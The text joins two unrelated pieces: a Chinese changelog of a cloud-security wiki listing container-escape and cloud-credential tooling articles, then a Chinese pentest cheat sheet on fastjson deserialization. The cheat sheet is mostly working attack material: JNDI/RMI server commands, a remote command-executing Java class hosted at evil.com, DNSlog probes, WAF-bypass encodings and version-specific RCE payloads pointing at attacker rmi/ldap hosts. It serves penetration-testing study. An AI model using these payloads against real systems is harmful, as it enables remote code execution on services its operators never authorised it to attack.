<a-tag color="red">收到补充</a-tag>收到「zxynull」师傅补充的文库信息，感谢支持，补充内容详情请见<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>版块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>Container Security Checklist</li>
<li>Docker 核心技术与实现原理</li>
<li>浅谈 Linux Cgroup机制</li>
<li>使用 eBPF 逃逸容器技术分析与实践</li>
<li>内核态 eBPF 程序实现容器逃逸与隐藏账号 rootkit</li>
<li>基于 eBPF 实现容器运行时安全</li>
<li>Linux 云计算网络</li>
<li>腾讯玄武实验室</li>
<li>云原生技术社区</li>
<li>进击云原生</li>
<li>一个支持在线分析容器镜像的网站 contains</li>
<li>可以检测镜像、文件系统、git 存储库的漏洞以及配置问题的镜像扫描工具 trivy</li>
<li>容器镜像漏洞静态扫描工具 Clair</li>
<li>用于深度分析 docker 镜像，扫描容器镜像和文件系统中的漏洞的工具 Anchore</li>
<li>用于对 docker 镜像和容器中的木马、恶意软件、病毒等已知漏洞进行静态分析工具 Dagda</li>
<li>一种运行时安全工具，用于检测在 Kubernetes 上运行的主机和容器中的异常活动 Falco</li>
<li>带有多个自动化测试的脚本，用于检查在生产环境中部署容器的最佳实践 Docker_Bench_Security</li>
<li>原生支持云云原生通用性系统可见性工具 sysdig</li>
<li>容器镜像分析工具 DIVE</li>
</ul>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>文库<a href="/" target="_blank"> 首页 </a>贡献者添加「zxynull」师傅，感谢支持<br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>Sysdig 博客（英文）</li>
<li>容器相关期刊（英文）</li>
<li>DevOps 安全博客（英文）</li>
<li>Aqua 博客（英文）</li>
<li>Lightspin 博客（英文）</li>
<li>CNCF 博客（英文）</li>
</ul>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.4.26
<br>
<template>
<a-timeline> <a-timeline-item>
<p>
<a-tag color="red">收到补充</a-tag>收到「zhengjim」师傅补充的文库信息，感谢支持，补充内容详情请见<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>版块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>CIS 基准检测手册（英文）</li>
<li>CIS 基准检测工具 kube bench</li>
<li>k8s 集群安全漏洞发现工具 kube hunter</li>
<li>k8s 安全审计工具 kubestriker</li>
<li>基于 kubectl 的红队 k8s 安全评估工具 red kube</li>
<li>容器利用工具 CCAT</li>
</ul>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>文库<a href="/" target="_blank"> 首页 </a>贡献者添加「zhengjim」师傅，感谢支持<br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.4.25
<br>
<template>
<a-timeline> <a-timeline-item>
<p>
<a-tag color="red">收到补充</a-tag>收到「Idle Life」师傅补充的文库信息，感谢支持，补充内容详情请见<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>版块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>k8s 渗透测试工具 Peirates</li>
<li>容器渗透测试工具 BOtB</li>
</ul>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>文库<a href="/" target="_blank"> 首页 </a>贡献者添加「Idle Life」师傅，感谢支持<br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.4.21
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="red">收到补充</a-tag>收到「UzJu」师傅补充的文库信息，感谢支持，补充内容详情请见<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>版块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>k8s 集群风险权限扫描工具 KubiScan</li>
</ul>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.4.20
<br>
<template>
<a-timeline>
<a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>利用 AWS 官方对 log4j 漏洞的热补丁实现容器逃逸（英文）</li>
</ul>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.4.19
<br>
<template>
<a-timeline>
<a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>云安全交流群满 200 人 🎉 <br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/About/" target="_blank"> 关于文库 </a>板块<br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.4.18
<br>
<template>
<a-timeline>
<a-timeline-item>
<p>
<a-tag color="red">收到补充</a-tag>收到「UzJu」师傅补充的文库信息，感谢支持，补充内容详情请见<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>版块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>K8s 靶场部署工具 Kubernetes Goat</li>
</ul>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>文库<a href="/" target="_blank"> 首页 </a>贡献者添加「UzJu」师傅，感谢支持<br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>公有云 IP 重用的威胁和防御方法分析 Paper（英文）</li>
<li>华为云 CTF cloud 非预期解之 k8s 渗透实战</li>
</ul>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.4.16
<br>
<template>
<a-timeline>
<a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>T Wiki 正式对外宣传<br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="red">收到补充</a-tag>收到「1derian」和「ShangRui-hash」师傅联合补充的文库信息，感谢支持，补充内容详情请见<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>版块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>AWS AccessKey 泄漏利用工具 awsKeyTools</li>
</ul>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="red">收到补充</a-tag>收到「半人间丶」师傅补充的文库信息，感谢支持，补充内容详情请见<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>版块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>阿里云 AccessKey 利用工具 aliyun-accesskey-Tools</li>
<li>阿里云 ECS、策略组辅助小工具 alicloud-tools</li>
<li>阿里云官方 OSS 浏览工具</li>
<li>阿里云 AccessKey 泄漏利用工具 AliyunAccessKeyTools</li>
<li>在线多云管理平台 行云管家</li>
<li>云存储管理客户端 qiniuClient</li>
</ul>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>文库<a href="/" target="_blank"> 首页 </a>贡献者添加「1derian」、「ShangRui-hash」和 「半人间丶」三位师傅，感谢支持<br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>腾讯云 AccessKey 利用工具 Tencent_Yun_tools</li>
<li>容器逃逸检测工具 container-escape-check</li>
</ul>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.4.15
<p></p>
<br>
<template>
<a-timeline>
<a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>配置到 <a href="https://wiki.teamssix.com" target="_blank"> wiki.teamssix.com </a> 域名上<br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>部署到 Github 上，T Wiki 公开<br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块<br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《Docker 远程 API 未授权访问逃逸》<a href="/CloudNative/Docker/docker-remote-api-unauth-escape.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《Privileged 特权模式容器逃逸》<a href="/CloudNative/Docker/docker-privileged-escape.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《挂载 Docker Socket 逃逸》<a href="/CloudNative/Docker/docker-socket-escape.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《挂载宿主机 procfs 逃逸》<a href="/CloudNative/Docker/docker-procfs-escape.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《Docker 使用笔记》<a href="/CloudNative/Docker/docker-use-notes.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《Terraform 代码安全性检查》<a href="/CloudNative/Terraform/terraform-code-security-check.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《Terraform 可视化》<a href="/CloudNative/Terraform/terraform-visualization.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《启用插件缓存》<a href="/CloudNative/Terraform/terraform-enable-plugin-cache.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《Terraform 初体验》<a href="/CloudNative/Terraform/terraform-experience.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《Terraform 介绍与安装》<a href="/CloudNative/Terraform/" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/About/" target="_blank"> 关于文库 </a>板块<br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《Bucket 策略可写》<a href="/CloudService/S3/bucket-policy-able-to-write.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《特定的 Bucket 策略配置》<a href="/CloudService/S3/specific-bucket-policy-configuration.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《Object ACL 可写》<a href="/CloudService/S3/object-acl-able-to-write.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《Bucket ACL 可写》<a href="/CloudService/S3/bucket-acl-able-to-write.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《Bucket 接管》<a href="/CloudService/S3/bucket-takeover.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《Bucket 爆破》<a href="/CloudService/S3/bucket-brute-force.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《EC2 子域名接管》<a href="/CloudService/EC2/ec2-subdomain-takeover.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《获取共享快照内的数据》<a href="/CloudService/EC2/ec2-shared-snapshot.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《EC2 下的权限维持》<a href="/CloudService/EC2/ec2-permission-maintenance.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《使用用户数据执行命令》<a href="/CloudService/EC2/user-data.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《AWS 控制台接管》<a href="/CloudService/EC2/console-takeover.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《EC2 所面临的风险》<a href="/CloudService/EC2/" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《S3 介绍》<a href="/CloudService/S3/" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《k8s 下挂载 /var/log 逃逸》<a href="/CloudNative/Kubernetes/k8s-var-log-escape.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《K8s 提权漏洞 CVE-2018-1002105 学习》<a href="/CloudNative/Kubernetes/CVE-2018-1002105.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《K8s 所面临的风险》<a href="/CloudNative/Kubernetes/k8s-risks.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块<br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《K8s 介绍》<a href="/CloudNative/Kubernetes/" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《Docker 逃逸漏洞汇总》<a href="/CloudNative/Docker/docker-escape-vulnerability-summary.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《Docker 所面临的风险》<a href="/CloudNative/Docker/docker-risks.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2022.4.14
<br>
<template>
<a-timeline>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《云原生安全介绍》<a href="/CloudNative/" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《Docker 介绍》<a href="/CloudNative/Docker/" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块<br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《容器逃逸方法检测指北》<a href="/CloudNative/Docker/container-escape-check.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>开始搭建文库<br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
|
sec-knowleage
|
# fastjson
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
> 项目地址 : https://github.com/alibaba/fastjson
**相关文章**
- [Fastjson反序列化进攻利用](https://mp.weixin.qq.com/s/i7-g89BJHIYTwaJbLuGZcQ)
- [fastjson反序列化历史与检测](https://mp.weixin.qq.com/s/cCUYMiPsJnqHHdKHUno6UA)
- [Fastjson探测简介](https://mp.weixin.qq.com/s/Js2FeYr9cWLtWXkgqd7HiQ)
- [fastjson漏洞时间线](https://mp.weixin.qq.com/s/f2scum8wWcCeOOOR7nKHaQ)
- [某json 绕墙的Tips](https://xz.aliyun.com/t/7568)
- [浅谈fastjson waf Bypass思路](https://sec-in.com/article/950)
- [fastjson的一些小学习](https://www.yuque.com/iceqaq/rtn9q7/ap14yz)
**相关工具**
- [wyzxxz/fastjson_rce_tool](https://github.com/wyzxxz/fastjson_rce_tool) - fastjson rce 命令执行综合利用工具，一键操作,fastjson remote code execute poc
- [c0ny1/FastjsonExploit](https://github.com/c0ny1/FastjsonExploit) - fastjson漏洞快速利用框架
- [Lonely-night/fastjson_gadgets_scanner](https://github.com/Lonely-night/fastjson_gadgets_scanner) - scanner 扫描反编译生成的源文件
- [p1g3/Fastjson-Scanner](https://github.com/p1g3/Fastjson-Scanner) - a burp extension to find where use fastjson
- [Maskhe/FastjsonScan](https://github.com/Maskhe/FastjsonScan)
- [bigsizeme/fastjson-check](https://github.com/bigsizeme/fastjson-check)
---
## JNDI注入影响范围
1. 基于 rmi 的利用方式, 适用 jdk 版本：JDK 6u132、JDK 7u122、JDK 8u113 之前
2. 基于 ldap 的利用方式, 适用 jdk 版本：JDK 11.0.1、8u191、7u201、6u211 之前
---
## 运行 JNDI 服务器命令
**JNDI-Injection-Exploit**
```bash
java -jar /pentest/JNDI-Injection-Exploit/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "<payload>" -A <vps ip>
java -jar /pentest/JNDI-Injection-Exploit/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ping xxxx.dnslog.cn" -A xx.xx.xx.xx
```
**marshalsec**
如果没有 com.sun.jndi.rmi.object.trustURLCodebase 的限制，我们可以简单利用 RMI 进行命令执行
首先编译并上传命令执行代码，如http://evil.com/runexec.class：
```java
// javac runexec.java
import java.lang.Runtime;
import java.lang.Process;
public class runexec {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
```
```bsh
javac runexec.java
```
启动一个 RMI 服务器，监听 9999 端口，并制定加载远程类 runexec.class
```bash
java -cp /pentest/marshalsec/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xx.xx.xx.xx/#runexec" 9999
```
发送 payload ,指定 rmi 服务器即可
---
## 探测
**相关文章**
- [第18篇：fastjson反序列化漏洞区分版本号的方法总结](https://mp.weixin.qq.com/s/5mO1L5o8j_m6RYM6nO-pAA)
**如何区分 fastjson 与 jackson**
1. 不闭合花括号看报错信息
2. 减少参数
```
{"name":"S", "age":21} // Fastjson 是不会报错
{"name":"S", "age":21,"xxx":123} // Jackson 语法相对比较严格,会报错
```
3. 报错关键词
```
com.alibaba.fastjson.JSONException
```
触发方式如下
```
{"x":"
["x":1]
{"x":{"@type":"java.lang.AutoCloseable"
```
**java.net.Inet4Address**
```
Content-Type: application/json
{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}
```
**java.net.Inet6Address**
```
Content-Type: application/json
{"@type":"java.net.Inet6Address","val":"xxx.dnslog.cn"}
```
**java.net.InetSocketAddress**
```
Content-Type: application/json
{"@type":"java.net.InetSocketAddress"{"address":,"val":"xxx.dnslog.cn"}}
```
**java.net.URL**
```
Content-Type: application/json
{{"@type":"java.net.URL","val":"http://xxx.dnslog.cn"}:"x"}
```
**一些畸形方式**
```
Content-Type: application/json
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://xxx.dnslog.cn"}}""}
Set[{"@type":"java.net.URL","val":"http://xxx.dnslog.cn"}]
Set[{"@type":"java.net.URL","val":"http://xxx.dnslog.cn"}
{{"@type":"java.net.URL","val":"http://xxx.dnslog.cn"}:0
{{"@type":"java.net.URL","val":"http://xxx.dnslog.cn"}:"aaa"}
```
---
## WAF 绕过方法
- 加反斜杠特殊字符
- Unicode/Hex 多重编码绕过
```json
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
{"\u0040\u0074\u0079\u0070\u0065":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"rmi://localhost:1099/Exploit","\x61\x75\x74\x6f\x43\x6f\x6d\x6d\x69\x74":true}
```
- 对关键词 (例如: @type) 做处理
```json
{"@\x74ype":"org.apache.commons.configuration.JNDIConfiguration","prefix":"rmi://xx.xx.xx.xx:3888"}
```
- type 的变形
- \b 绕过
```json
{"@type":\b"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999","autoCommit":true}}
```
- 如果以上都不行, 就 fuzz 试试吧
### 结合Feature词法分析器进行混淆绕过
以下内容部分来自 <sup>[tkswifty [浅谈fastjson waf Bypass思路](https://sec-in.com/article/950) 文章]</sup>
**AllowSingleQuotes**
AllowSingleQuotes 特性决定 parser 是否允许单引号来包住属性名称和字符串值。
可以使用单引号替代双引号，配合编码或者其他方式进行混淆绕过 waf 语义分析：
```json
{'name':'test'}
```
**AllowArbitraryCommas**
AllowArbitraryCommas 特性允许多重逗号。那么可以在多个属性之间引入多个逗号,进行混淆：
```json
{,,,,,,,,,,"name":"test",,,,,,,,"age":20}
```
**AllowComment**
AllowComment 该特性决定 parser 将是否允许解析使用 Java/C++ 样式的注释（包括'/'+'*' 和'//' 变量）。
可以通过插入相关的注释进行混淆，也可以构造超长数据包的方式进行 Bypass：
```json
{"name":"test"/*hahahhah*/,"age":20}
```
### 利用 FastJson 智能匹配进行混淆绕过
FastJSON 存在智能匹配的特性，即使 JavaBean 中的字段和 JSON 中的 key 并不完全匹配，在一定程度上还是可以正常解析的。主要是在 JavaBeanDeserializer.smartMatch 方法进行实现。假设当前 UserBean 的属性如下，可以利用智能匹配的特性，可以尝试使用如下方法对 key 进行混淆：
```java
private String name;
private Integer age;
```
**使用-和_进行混淆**
FastJSON 会对 JSON 中没有成功映射 JavaBean 的 key 做智能匹配，在反序列的过程中会忽略大小写和下划线，自动会把下划线命名的 Json 字符串转化到驼峰式命名的 Java 对象字段中。
使用 `-` 混淆字段名
```json
{"@type":"com.sun.rowset.JdbcRowSetImpl","d-a-t-aSou-rc-eN-ame":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
```
使用 `_` 混淆字段名
```json
{"@type":"com.sun.rowset.JdbcRowSetImpl","d_a_t_aSou_rc_eN_ame":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
```
1.2.36 版本及后续版本还可以支持同时使用_和 - 进行组合混淆
```json
{"n-a_m-e":"test","age":20}
```
可以以此作为依据进行简单的 fastjson 版本判断
**使用 is 开头的 key 字段**
Fastjson 在做智能匹配时，如果 key 以 is 开头, 则忽略 is 开头, 相关代码如下:
在原始 JavaBean 属性 age 和 name 基础上，在 JSON key 加入 is 仍可正常解析：
```
{"isname":"test","isage":20}
```
### 修改 Content-Type
某些 Waf 考虑到解析效率的问题，会根据 Content-Type 的内容进行针对性的拦截分析，例如值为 appliction/xml 时会进行 XXE 的检查，那么可以尝试将 Content-Type 设置为通配符 `*/*` 来绕过相关的检查, 同理对 application/jsonContent-Type 的请求，也可以尝试将 Content-Type 设置为通配符 `*/*` 来绕过相关的检查：
---
## fastjson<=1.2.24 (CNVD-2017-02833)
**相关文章**
- [【超详细】Fastjson1.2.24反序列化漏洞复现](https://mp.weixin.qq.com/s/Pd_8wVHEyidlXbOuhp_gTQ)
- https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.24-rce
**描述**
该漏洞在默认配置下即存在, 所以在 fastjson<=1.2.24 版本时, 该 poc 通杀
```json
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
{"v24":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}}
```
官方于 2017/02/06 发布 1.2.25 版本修复该漏洞, 并增加了黑名单策略用来限制恶意类被反序列化.
此后, fastjson 的漏洞基本都是基于黑名单限制的绕过.
---
1.2.25 版本开始, 引入了 checkAutotype 安全机制 (白名单检测).
这也在极大程度上减小了之后几个版本基于黑名单绕过的 poc 的危害影响范围.
---
## fastjson<=1.2.25
```json
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties"："data_source":"rmi://localhost:1099/Exploit"}}
{"@type":"[com.sun.rowset.RowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
```
---
## fastjson<=1.2.41
**描述**
第一个 Fastjson 反序列化漏洞爆出后，fastjson在1.2.25版本设置了 autoTypeSupport 属性默认为 false，并且增加了`checkAutoType()` 函数，通过黑白名单的方式来防御 Fastjson 反序列化漏洞，因此后面发现的 Fastjson 反序列化漏洞都是针对黑名单的绕过来实现攻击利用的。 com.sun.rowset.JdbcRowSetImpl 在1.2.25版本被加入了黑名单，fastjson 有个判断条件判断类名是否以”L”开头、以”;”结尾，是的话就提取出其中的类名再加载进来，因此在原类名头部加L，尾部加;即可绕过黑名单的同时加载类。
autoTypeSupport 属性为 true 才能使用。（fastjson>=1.2.25 默认为 false）
fastjson<=1.2.41 版本, 且开启 autoType
```java
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
```
POC
```json
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
{"v41":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://0.0.0.0","autoCommit":true}}
```
它与 1.2.24 版本 poc 唯一的不同之处是类名前后分别加上了 "L" 与 ";"
此时 com.sun.rowset.JdbcRowSetImpl 已经进了黑名单, 通过加上特殊字符, 绕过黑名单, 后续代码中会将 "L" 与 ";" 字符自动去除, 导致该恶意类被还原并被反序列化.
官方于 2017/12/12 发布 1.2.42 版本修复该绕过方式. (与黑名单进行比较之前就去除类名中的 "L" 与 ";")
fastjson1.2.42 版本起, fastjson 黑名单做了加密处理
---
## fastjson<=1.2.42
**描述**
fastjson 在1.2.42版本新增了校验机制。
如果输入类名的开头和结尾是L和;就将头和尾去掉，再进行黑名单验证。 还把黑名单的内容进行了加密，防止安全人员进行研究，增加了研究的门槛。 但是有人已在Github上跑出了大部分黑名单包类：https://github.com/LeadroyaL/fastjson-blacklist 绕过方法，在类名外部嵌套2层L;。 原类名：com.sun.rowset.JdbcRowSetImpl 绕过： LLcom.sun.rowset.JdbcRowSetImpl;;
多重套用, 因为后续代码中的 "L" 与 ";" 字符去除判断方法会不断递归, 直至检测不到.
利用条件: fastjson<=1.2.42 版本, 且开启 autoType
```json
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
{"v42":{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://0.0.0.0","autoCommit":true}}
{"@type":"LLcom.sun.rowset.RowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
```
官方于 2017/12/16 发布 1.2.43 版本修复该绕过方式
---
## fastjson<=1.2.43
**描述**
fastjson 在 1.2.43 中 `checkAutoType()` 函数增加判断开头为 LL 直接报错。 绕过方法: 根据 fastjson 判断函数，`[` 开头则提取类名，且后面字符字符为 `[`、`{` 等，即可正常调用。
autoTypeSupport 属性为 true 才能使用。（fastjson>=1.2.25 默认为 false）
利用条件: 1.2.38<=fastjson<=1.2.43, 且开启 autoType
```json
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
{"v43":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://0.0.0.0","autoCommit":true]}}}
```
官方于 2017/12/21 发布 1.2.44 版本修复该绕过方式
---
## fastjson<=1.2.45
**描述**
前提条件：需要目标服务端存在 mybatis 的 jar 包，且版本需为 3.x.x 系列 <3.5.0 的版本。 使用黑名单绕过，org.apache.ibatis.datasource 在1.2.46版本被加入了黑名单 由于在项目中使用的频率也较高，所以影响范围较大。
利用条件: fastjson<=1.2.45, 受限依赖于 ibatis, 但无需开启 autoType
```json
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}
{"v45":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory"},"xxx":{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://0.0.0.0"}}}
```
官方于 2018/02/05 发布 1.2.46 版本修复该绕过方式
---
## fastjson<=1.2.47 (CNVD-2019-22238)
**描述**
autoType 为关闭状态也可使用。 loadClass 中默认 cache 设置为 true，利用分为2步执行，首先使用 java.lang.Class 把获取到的类缓存到 mapping 中，然后直接从缓存中获取到了 com.sun.rowset.JdbcRowSetImpl 这个类，绕过了黑名单机制。
无需开启 autoType, 在 fastjson<=1.2.47 版本时, 该 poc 通杀
```json
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/Exploit",
"autoCommit":true
}
}
{"v47":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://0.0.0.0","autoCommit":true}}
```
官方于 2018/03/25 发布 1.2.48 版本修复该绕过方式
**相关文章**
- [Fastjson <=1.2.47 远程代码执行漏洞分析](https://www.anquanke.com/post/id/181874)
- [fastjson =< 1.2.47 反序列化漏洞复现](https://www.cnblogs.com/zhengjim/p/11433926.html)
